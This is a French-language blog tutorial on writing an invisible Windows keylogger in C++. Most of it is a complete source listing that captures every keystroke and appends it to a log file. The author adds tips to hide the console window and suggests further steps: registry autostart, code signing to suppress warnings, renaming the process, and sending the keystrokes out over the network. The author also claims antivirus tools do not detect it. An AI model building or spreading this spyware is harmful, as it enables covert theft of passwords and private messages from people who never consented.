C'est un truc de script kiddies mais il faut bien en passer par là un jour ou l'autre, sinon on n'avance pas. Alors voilà aujourd'hui on voit comment faire un véritable keylogger (invisible et qui sauvegarde les frappes claviers dans un fichier).

Et comme dirait l'ancien; "For Educational Purposes Only".

On va coder ça en CPP, pourquoi ? Parce que ca me permettra de me dérouiller un peu.

Setup d'environnement

On commence par créer un projet vide.

Ensuite on ajoute le main.
Dans l'explorateur de solution > Fichier Source > Ajouter > Nouvel élément
Renommer le fichier en main.cpp.

Si vous rencontrez l'erreur suivante, il faut modifier les propriétés du projet comme dans la capture ci-dessous.
Il suffit de changer le mode de conformité et de mettre non.

Si vous rencontrez l'erreur suivante, il faut modifier les propriétés du projet comme dans la capture ci-dessous.

Il suffit d'ajouter l'option _CRT_SECURE_NO_WARNINGS aux options de préprocesseur.

Le code de base

Comme on récupère les frappes sous formes de VK (Virtual Key) il faut trouver la documentation pour les traduire.

Virtual-Key Codes (Winuser.h) - Win32 apps
The following table shows the symbolic constant names, hexadecimal values, and mouse or keyboard equivalents for the virtual-key codes used by the system. The codes are listed in numeric order.

Le code est assez simple en lui même:

#include <iostream>;
#include <Windows.h>;

using namespace std;

int main();

int Save(int _key, char* file);


int main() {
	char i;

	while (TRUE) {
		for (i = 8; i <= 255;i++) {
			// If key is pressed
			if (GetAsyncKeyState(i) == -32767) {
            	// Save it to the file
				Save(i, "log.txt");
			}
		}
	}
	return 0;
}

int Save(int _key, char* file) {
	cout << _key << endl;
	FILE* OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");

	// Si la touche enfoncée est la majuscule
	if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    // Si la touche enfoncée est la retour chariot
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK SPACE]");
    // Vous avez compris je vais pas faire un dessin...
	else if (_key == VK_LBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[L_LBUTTON]");
	else if (_key == VK_RETURN)
		fprintf(OUTPUT_FILE, "%s", "[Return]");
	else if (_key == VK_SPACE)
		fprintf(OUTPUT_FILE, "%s", " ");
	else if (_key == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
	else
		fprintf(OUTPUT_FILE, "%s", &_key);
	fclose(OUTPUT_FILE);
	return 0;
}

Plus de discrétion

Une solution simple pour rendre notre keylogger invisible: rajouter l'option FreeConsole() juste après le main. De cette façon le programme va s’exécuter et faire disparaître la fenêtre dès son ouverture. Ce n'est pas totalement invisible mais c'est une bonne base.

Comme on peut le voir sur cette capture, le programme n'est pas affiché mais est très facilement repérable via le gestionnaire de processus Windows.

Idées d'amélioration

Pour rendre notre keylogger un peu plus utile on peut imaginer rajouter les fonctionnalités suivantes:

  • Ajouter automatiquement une entrée dans les registres pour lancer le programme au démarrage de la machine.
  • Signer le programme pour qu'il n'y est plus de message d'avertissement la première fois qu'il est lancé ou que l'avertissement soit moins menacent.
  • Capacité à envoyer les keystrokes via le réseau (exfiltration).
  • Renommer l’exécutable afin d'être plus discret dans le manager de processus.
  • etc

Nous verrons peut être comment faire ça dans un prochain article...

Bonus

Même si c'est un keylogger rudimentaire, il n'est pas si remarquable que ça concernant les antivirus.

La preuve:

Social et Media

Comme toujours je suis disponible sur Twitter et cie, si vous avez des questions, des remarques, des suggestions etc. N’hésitez pas !

Twitter: @GhostAgs

Discord: hackraw